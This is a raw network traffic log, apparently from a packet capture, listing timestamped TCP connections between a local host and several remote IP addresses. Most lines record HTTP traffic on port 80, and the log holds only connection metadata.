Nov 27, 2024 16:35:01.407581091 CET	443	49915	104.208.16.90	192.168.2.7
Nov 27, 2024 16:35:01.408344030 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.408405066 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.408410072 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.408488035 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.410226107 CET	49916	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:35:01.410248995 CET	443	49916	104.208.16.90	192.168.2.7
Nov 27, 2024 16:35:01.410442114 CET	49916	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:35:01.411495924 CET	49916	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:35:01.411508083 CET	443	49916	104.208.16.90	192.168.2.7
Nov 27, 2024 16:35:01.411645889 CET	49909	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:35:01.411650896 CET	443	49909	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.411710978 CET	49909	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:35:01.411716938 CET	443	49909	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.413295031 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.413382053 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.413541079 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.413744926 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.418267012 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.418380022 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.490720034 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.490788937 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.490817070 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.491131067 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.493051052 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.493100882 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.493246078 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.493293047 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.497832060 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.497888088 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.522681952 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.522720098 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.522878885 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.524240971 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.524420023 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.524499893 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.528004885 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.528086901 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.528121948 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.528172016 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.531575918 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.531650066 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.531663895 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.531750917 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.532135963 CET	443	49911	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.532716036 CET	49911	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.532738924 CET	443	49911	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.535307884 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.535357952 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.535418987 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.536746025 CET	49911	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.536751986 CET	443	49911	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.539096117 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.539108992 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.539169073 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.542690992 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.542835951 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.542910099 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.543071032 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.546066999 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.546123028 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.546230078 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.546267033 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.549401045 CET	443	49910	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.549508095 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.549643040 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.549854040 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.553030014 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.553092957 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.553105116 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.553147078 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.556562901 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.556673050 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.556683064 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.556786060 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.560013056 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.560066938 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.560084105 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.560101986 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.563489914 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.563549995 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.563637972 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.563682079 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.567106962 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.567118883 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.567219019 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.570426941 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.570489883 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.570528984 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.571305037 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.573951960 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.573985100 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.574017048 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.574048042 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.577409983 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.577510118 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.577593088 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.579021931 CET	49910	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:35:01.579065084 CET	443	49910	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.580307961 CET	49910	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:35:01.580337048 CET	443	49910	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.580374002 CET	49910	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:35:01.580383062 CET	443	49910	20.190.177.82	192.168.2.7
Nov 27, 2024 16:35:01.580941916 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.581083059 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.581150055 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.584544897 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.584645033 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.584645033 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.584775925 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.587905884 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.587946892 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.588002920 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.588023901 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.591367960 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.591437101 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.591511011 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.591552973 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.595086098 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.595154047 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.595182896 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.595202923 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.598323107 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.598387957 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.598496914 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.601880074 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.601957083 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.601990938 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.602020979 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.605249882 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.605305910 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.605366945 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.605398893 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.608814001 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.608854055 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.608891964 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.608906031 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.612235069 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.612288952 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.612356901 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.612401962 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.615689039 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.615756035 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.616065025 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.616118908 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.619292974 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.619349957 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.619355917 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.619540930 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.622694969 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.622752905 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.622790098 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.622999907 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.626148939 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.626281023 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.626377106 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.629968882 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.629986048 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.630038977 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.630090952 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.686794043 CET	443	49912	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.687341928 CET	49912	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.687366962 CET	443	49912	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.687947989 CET	49912	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.687954903 CET	443	49912	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.693247080 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.693265915 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.693479061 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.696348906 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.696407080 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.697617054 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.697668076 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.698328972 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.698379040 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.698450089 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.698498011 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.701364040 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.701379061 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.701478004 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.704401016 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.704468966 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.704545975 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.704586029 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.725297928 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.725388050 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.725625038 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.725723028 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.726598978 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.726648092 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.726774931 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.726835012 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.735573053 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735642910 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.735661030 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735677958 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735692024 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735717058 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.735749960 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.735838890 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735852003 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735869884 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735882044 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.735915899 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.735941887 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.738640070 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.738657951 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.738696098 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.740500927 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.740552902 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.740900993 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.740947008 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.742724895 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.742777109 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.742830038 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.742873907 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.745158911 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.745210886 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.745250940 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.745390892 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.750284910 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.750297070 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.750308990 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.750320911 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.750343084 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.750387907 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.750473022 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.750484943 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.750572920 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.752403975 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.752417088 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.752470970 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.753951073 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.753962994 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.754010916 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.755266905 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.755284071 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.755321980 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.755337954 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.756691933 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.756705999 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.756748915 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.758306026 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.758321047 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.758366108 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.759558916 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.759572029 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.759627104 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.760986090 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.760998011 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.761038065 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.762537003 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.762588024 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.762636900 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.762734890 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.764077902 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.764091969 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.764136076 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.765271902 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.765285015 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.765331984 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.766710043 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.766721964 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.766769886 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.768028021 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.768042088 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.768086910 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.769471884 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.769484997 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.769551039 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.771258116 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.771270037 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.771356106 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.772552967 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.772624016 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.772692919 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.772941113 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.774027109 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.774115086 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.774306059 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.774362087 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.775691986 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.775705099 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.775746107 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.776854038 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.776941061 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.776968956 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.776997089 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.777019978 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.777048111 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.777076006 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.777086973 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.777163982 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.777441978 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.777458906 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.777482033 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.777487993 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.778793097 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.778846979 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.778884888 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.779051065 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.779859066 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.779917002 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.779984951 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.780306101 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.781019926 CET	49917	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.781065941 CET	443	49917	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.781150103 CET	49917	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.781311989 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.781323910 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.781358957 CET	49917	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:35:01.781368971 CET	443	49917	13.107.246.63	192.168.2.7
Nov 27, 2024 16:35:01.781399965 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.782624006 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.782675982 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.782812119 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.782891989 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.784343958 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.784395933 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.784476995 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.784687042 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.785751104 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.785763025 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.785824060 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.786770105 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.786781073 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.786823988 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.786844015 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.787825108 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.787969112 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.788036108 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.791134119 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.791296005 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.791307926 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.791369915 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.791393042 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.791470051 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.791668892 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:35:01.792965889 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.792978048 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:35:01.793030024 CET	49907	80	192.168.2.7	185.215.113.16
